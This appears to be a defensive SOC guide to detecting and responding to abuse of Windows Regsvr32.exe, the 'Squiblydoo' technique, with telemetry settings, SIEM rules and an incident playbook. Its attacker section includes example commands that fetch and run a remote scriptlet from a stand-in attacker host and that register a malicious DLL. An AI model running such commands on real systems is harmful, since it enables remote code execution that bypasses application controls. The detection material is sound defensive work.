Overview

Regsvr32.exe is a legitimate Windows utility designed to register and unregister COM objects and DLLs. Attackers abuse it to execute malicious scripts or DLLs while hiding behind a trusted, Microsoft-signed binary — a technique commonly called “Squiblydoo” when a URL is passed as an argument to load a remote COM scriptlet (.sct file) directly from an attacker-controlled server.

Because Regsvr32.exe is a known-good system binary, many security tools and application control policies allowlist it by default, giving adversaries a reliable way to bypass defenses. Any mature SOC must detect its misuse, as real-world threat actors ranging from APT groups to commodity malware campaigns have weaponized it to establish footholds in government and enterprise environments.

Attacker Perspective

Attackers use Regsvr32.exe to execute arbitrary code under the cover of a trusted Windows process, bypassing both application whitelisting and many endpoint security products.

• Remote SCT execution (Squiblydoo): The attacker passes a URL directly to Regsvr32 to fetch and execute a COM scriptlet hosted on an external server — e.g., regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll — making no registry changes and leaving minimal on-disk artifacts.
• Local malicious DLL registration: A DLL with a malicious DllRegisterServer export is registered to execute shellcode or a dropper — e.g., regsvr32.exe /s C:\Users\Public\evil.dll — often dropped to a world-writable path first.
• AppLocker / WDAC bypass: Tools like Metasploit’s web_delivery module and Empire’s launcher generate Regsvr32 one-liners specifically because application control policies frequently omit Regsvr32 from their rule sets, allowing code execution without elevated privileges.
• COM hijacking for persistence: The attacker registers a malicious COM object via Regsvr32 under HKCU\Software\Classes\CLSID\ to achieve persistent execution when a legitimate application loads the hijacked CLSID — requiring no admin rights for user-hive modifications.

Regsvr32.exe is particularly attractive to attackers because it is signed by Microsoft, is present on every modern Windows system, requires no administrative privileges for user-context execution, and supports direct URL-based payload delivery that bypasses controls relying purely on file reputation.

Detection Strategy

Required Telemetry

• Windows Process Creation — Event ID 4688: Enable via GPO: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation. Also enable command-line auditing via GPO: Administrative Templates → System → Audit Process Creation → Include command line in process creation events or registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit → ProcessCreationIncludeCmdLine_Enabled = 1. Without command-line inclusion this log source is nearly useless for this technique.
• Sysmon Event ID 1 (Process Create): Deploy Sysmon with a configuration that captures Image, CommandLine, ParentImage, ParentCommandLine, User, Hashes, and CurrentDirectory. Sysmon provides richer detail than native 4688 and should be the primary process telemetry source where available.
• Sysmon Event ID 3 (Network Connection): Required to catch the Squiblydoo variant where Regsvr32 reaches out to an external URL. Ensure outbound connections from non-browser processes are captured. Configure Sysmon to log network events for regsvr32.exe explicitly if filtering is aggressive.
• Sysmon Event ID 7 (Image Load): Captures DLLs loaded into the Regsvr32 process. Enable to detect scrobj.dll loading, which is the scriptlet engine used in Squiblydoo attacks, or unexpected DLLs loaded from user-writable paths.
• Sysmon Event ID 11 (File Create): Detects payloads written to disk by the Regsvr32 process or its children. Critical for identifying dropped second-stage executables or scripts.
• Windows DNS Client Log / DNS Debug Log: Enable DNS debug logging on DCs or deploy a DNS security solution (e.g., Zeek, Infoblox, Windows DNS Analytical log via ETW). Required to correlate domain lookups initiated by Regsvr32. Enable via: DNS Server → Logging → Debug Logging → Log packets for debugging or via the DNS Analytical ETW channel in Event Viewer.
• Proxy / Web Gateway Logs: Capture HTTP/HTTPS requests including User-Agent, referrer, and full URL. Regsvr32 has a distinctive User-Agent and will generate an outbound GET for the .sct file. Required to detect URL-based payload staging.
• Windows Security Event ID 4657 / Sysmon Event ID 13 (Registry Value Set): Required to detect COM object registration attempts. Enable Object Access auditing on the HKCU\Software\Classes\CLSID and HKLM\Software\Classes\CLSID hives for persistence-via-COM-hijacking detection.

Key Indicators

• Suspicious parent process for Regsvr32: In Sysmon Event ID 1 or Event ID 4688, check ParentImage for unexpected parents. Legitimate use typically comes from msiexec.exe, services.exe, or an installer. High-suspicion parents include winword.exe, excel.exe, powerpnt.exe, outlook.exe, wscript.exe, cscript.exe, mshta.exe, cmd.exe, powershell.exe, and explorer.exe (when combined with URL arguments).
• URL argument in command line: In CommandLine, look for the pattern /i:http or /i:https or /i:ftp — e.g., regsvr32.exe /s /n /u /i:http://. Any URL in the /i: argument is suspicious and warrants immediate investigation.
• Scrobj.dll as the target DLL: In Sysmon Event ID 1, CommandLine ending in or containing scrobj.dll is the Squiblydoo signature. Also check Sysmon Event ID 7 ImageLoaded for scrobj.dll being loaded by regsvr32.exe.
• Silent flags combined with network path: The flags /s (silent), /n (do not call DllRegisterServer), and /u (unregister) are commonly chained in malicious usage to suppress dialogs: regsvr32.exe /s /n /u /i:http://.
• DLL loaded from user-writable path: In Sysmon Event ID 7, ImageLoaded path containing C:\Users\, C:\ProgramData\, C:\Temp\, C:\Windows\Temp\, or %APPDATA% loaded by regsvr32.exe is highly suspicious.
• Outbound network connection from Regsvr32: In Sysmon Event ID 3, Image = C:\Windows\System32\regsvr32.exe with any DestinationIp or DestinationHostname that is external (non-RFC1918, non-internal domain). Regsvr32 has almost no legitimate reason to initiate external network connections.
• Child processes spawned by Regsvr32: In Sysmon Event ID 1, ParentImage = regsvr32.exe spawning cmd.exe, powershell.exe, wscript.exe, mshta.exe, or any other interpreter is a strong indicator of code execution success.
• Execution from non-standard path: Regsvr32 should run from C:\Windows\System32\regsvr32.exe or C:\Windows\SysWOW64\regsvr32.exe. Any instance with Image running from another path indicates masquerading.

Detection Logic

Rule 1 — Broad: Any network connection initiated by Regsvr32
IF process_name = "regsvr32.exe" AND event_type = "NetworkConnect" AND destination_ip NOT IN internal_ip_ranges THEN alert HIGH

This catches the Squiblydoo technique at the network layer. Expected volume is very low to near-zero in most environments — Regsvr32 has no legitimate reason to reach external IPs. Tune by excluding any known internal update or management infrastructure IPs if necessary, but treat all external connections as high-fidelity.

Rule 2 — High Sensitivity: Regsvr32 command line contains URL pattern
IF process_name = "regsvr32.exe" AND command_line MATCHES "/i:(http|https|ftp)://" THEN alert HIGH

Directly targets the URL-argument variant. False positive rate is extremely low in enterprise environments. No legitimate software should be passing HTTP URLs to Regsvr32 in normal operations. Alert volume should be near-zero; any firing of this rule should be triaged immediately.

Rule 3 — Medium Sensitivity: Regsvr32 spawned by Office or scripting engine
IF process_name = "regsvr32.exe" AND parent_process_name IN ("winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", "wscript.exe", "cscript.exe", "mshta.exe", "powershell.exe") THEN alert HIGH

Catches malicious documents or script-based loaders that invoke Regsvr32 as a child process. This may produce occasional false positives from macro-enabled Office automation tools; baseline your environment first and exclude known-good parent/child process pairs from internal automation workflows using AND NOT command_line CONTAINS [known_good_arg].

Rule 4 — High Precision: Regsvr32 loads scrobj.dll and spawns a child process
IF process_name = "regsvr32.exe" AND image_loaded = "scrobj.dll" AND child_process_exists = TRUE AND child_process_name IN ("cmd.exe", "powershell.exe", "wscript.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe") THEN alert CRITICAL

This is the highest-fidelity rule — it requires both the scriptlet engine loading AND successful child process spawning, meaning code execution has occurred. Alert volume will be very low. This rule requires Sysmon Event ID 7 (Image Load) correlated with Event ID 1 (Process Create) by process GUID. A SIEM with correlation capability (Splunk, Sentinel, Elastic) is required to join these event types by ProcessGuid.

Tuning Guidance

• Software deployment tools (SCCM / Intune): Some software installers invoked via SCCM legitimately call Regsvr32 to register COM components. Exclude by adding AND NOT parent_process_name IN ("ccmexec.exe", "msiexec.exe") combined with a known-good DLL path allowlist such as AND NOT command_line MATCHES "^regsvr32\.exe\s+/s\s+C:\\Program Files\\". Validate against your software inventory before adding this exclusion.
• Adobe and Office plugin registration: Adobe Acrobat, Creative Suite, and some Office add-ins call Regsvr32 during installation or first run to register COM controls. Baseline these by capturing the full command line during a known-good install and adding a specific exclusion for those exact DLL paths under C:\Program Files\Adobe\ or C:\Program Files\Microsoft Office\.
• Developer workstations: Developers may run Regsvr32 manually to register COM objects during development. Tag developer workstations in your asset inventory and apply a lower-priority alert tier, or require that these events are manually reviewed weekly rather than triggering real-time alerts. Never fully suppress — just deprioritize.
• SysWOW64 vs System32 dual execution: Some 32-bit applications legitimately invoke C:\Windows\SysWOW64\regsvr32.exe to register 32-bit COM objects. Do not exclude SysWOW64 instances entirely — instead, apply the same detection logic to both paths. Attackers frequently use the SysWOW64 version to evade detections scoped only to System32.

When the Alert Fires: Investigation Steps

1. Confirm the alert against the raw source event. Pull the original Sysmon Event ID 1 or Windows Event ID 4688 from your SIEM and verify the CommandLine, Image, and ParentImage fields exactly match the alert. Do not investigate on alert metadata alone — retrieve the raw log from the host or SIEM directly to rule out parsing errors.
2. Identify the affected host and user account. From the event, extract the Hostname, User, and LogonId. Check Active Directory or your identity provider to determine if the account has elevated privileges (admin, service account, DA) — privileged account involvement escalates severity immediately.
3. Reconstruct the full process tree. Using Sysmon Event ID 1 and the ProcessGuid / ParentProcessGuid chain, trace back from Regsvr32 to the root initiating process. Common chains to look for: explorer.exe → cmd.exe → regsvr32.exe or winword.exe → regsvr32.exe. Also trace forward to identify any child processes Regsvr32 spawned — these represent the payload execution.
4. Check for network connections and DNS queries. Query Sysmon Event ID 3 for any NetworkConnect events with Image = regsvr32.exe within a ±5-minute window of the process creation event. Cross-reference with proxy logs and DNS logs for any domain lookups or HTTP GETs that correlate to the process start time. Extract any external IPs or domains and run them through threat intelligence (VirusTotal, Shodan, your TIP).
5. Hunt for files written to disk by the process or its children. Search Sysmon Event ID 11 (File Create) filtered to the ProcessGuid of Regsvr32 and any identified child processes. Pay particular attention to files written to C:\Users\, C:\ProgramData\, C:\Temp\, or C:\Windows\Temp\. Submit any identified dropped files to your sandbox or malware analysis platform for detonation.
6. Search for lateral movement originating from this host. Query Windows Security Event ID 4624 (logon) and 4648 (explicit credential logon) for outbound authentications from the affected host in the 24-hour window following the Regsvr32 execution. Also check Sysmon Event ID 3 for SMB (port 445), WMI (port 135/49152+), and RDP (port 3389) connections originating from the compromised host to other internal systems.
7. Determine persistence mechanisms installed. Check Sysmon Event ID 13 (Registry Value Set) for modifications to HKCU\Software\Classes\CLSID\, HKLM\Software\Classes\CLSID\, HKCU\Software\Microsoft\Windows\CurrentVersion\Run, and scheduled task creation events (Windows Event ID 4698). Also review Sysmon Event ID 11 for files written to startup folders. If any persistence mechanism is found, this is a confirmed incident requiring escalation to Tier 2 or IR team immediately.

Response Playbook

Containment

• Isolate the host at the network layer — keep it powered on. Use your EDR console (CrowdStrike Network Containment, Defender for Endpoint Isolate Device, Carbon Black quarantine) to cut network access while preserving the live system for memory forensics. Do not power off — in-memory artifacts including injected shellcode, encryption keys, and process state will be lost.
• Disable the affected user account immediately. In Active Directory, set userAccountControl to disabled via ADUC or Disable-ADAccount -Identity [username] in PowerShell. If the account is a service account, coordinate with the application owner before disabling — but the risk of leaving it active outweighs the service disruption in a confirmed incident.
• Block identified C2 IPs and domains at the perimeter. Push block rules to your firewall, web proxy, and DNS filtering platform (e.g., Umbrella, Zscaler, Windows Firewall via GPO) for all external IPs and domains identified in Step 4 of the investigation. Add the domains to your DNS sinkhole if available to capture additional callbacks from potentially compromised hosts you have not yet identified.
• Kill any active malicious processes on the host. If EDR provides remote process termination, kill the Regsvr32 process and any identified child processes immediately. Record all PIDs and process hashes before termination. If a remote access tool (RAT) or C2 implant was identified as a child process, terminate it as well — but document its file path first for eradication.
• Revoke active sessions and Kerberos tickets for the compromised account. Run klist purge on the affected host, and on your DCs run Get-ADUser [username] | Set-ADUser -Replace @{msDS-KeyVersionNumber=…} or simply reset the account password to invalidate existing TGTs. If the account authenticated to other systems (identified in lateral movement step), force logoff on those targets as well.

Eradication

• Remove all identified persistence mechanisms. Delete any malicious registry keys found under HKCU\Software\Classes\CLSID\ or Run keys using reg delete or Regedit with admin rights. Remove malicious scheduled tasks via schtasks /delete /tn [taskname] /f. Remove any files found in startup folders at C:\Users\[user]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.
• Delete all dropped payloads and tooling. Based on Sysmon File Create events, enumerate every file written by the malicious process chain and delete them. Verify file deletion by hash — do not rely on filename alone. Run a targeted AV scan or EDR retrospective scan across the paths where files were dropped to catch any artifacts missed during initial triage.
• Reset credentials for all accounts involved in the incident. Reset passwords for the compromised user account and any service accounts whose credentials may have been accessible on the host (check for LSASS access via Sysmon Event ID 10). If the host was a member server or workstation with local admin accounts, rotate local admin passwords via LAPS or your PAM solution.
• Scan lateral movement targets for secondary compromise. For every internal host that received a connection from the compromised machine (identified in Step 6), run an EDR threat hunt query for Regsvr32 executions, new scheduled tasks, and new services created in the same timeframe. Treat these hosts as potentially compromised until cleared.
• Rotate any secrets potentially exposed on the host. Review what credentials, API keys, certificates, or tokens were stored on the compromised host (browser credential stores, Windows Credential Manager, application config files). Rotate all of them. Notify the owners of any affected downstream services or cloud accounts.

Recovery

• Re-image the host if confidence in cleanliness is low. If the attacker had dwell time exceeding several hours, achieved SYSTEM privileges, or the full scope of compromise cannot be definitively established, re-image from a known-good baseline rather than attempting cleanup in place. Reconnect to the network only after a clean image is verified and the host passes an EDR post-deployment scan.
• Re-enable the user account only after clearing persistence. Before restoring the account, confirm via EDR and SIEM that no persistence mechanisms remain on any host the user has access to. Reset the account password and enforce MFA re-enrollment before the user logs in again.
• Implement enhanced monitoring on the affected host and account for 72 hours. Configure your SIEM or EDR to alert on any Regsvr32 execution, new process creation, new network connections, and registry modifications on the recovered host for a minimum of 72 hours post-remediation. Set up a saved search or watchlist in your SIEM keyed to the recovered host’s hostname and the user’s UPN.
• Document the full incident timeline and conduct a lessons-learned review. Capture the complete attack chain from initial execution through containment in your ticketing system (ServiceNow, JIRA, TheHive). Include dwell time, detection gap analysis, and any attacker TTPs mapped to MITRE ATT&CK. Share IOCs (hashes, IPs, domains, YARA rules) with your threat intel platform and industry ISACs.
• Update detection rules with new IOCs and behavioral patterns. Add any new C2 domains, IP ranges, DLL hashes, or command-line patterns discovered during this investigation directly into your SIEM detection rules. If the attacker used a Regsvr32 variant or argument pattern not covered by your existing rules, create a new rule and backfill it against 90 days of historical data to check for prior activity.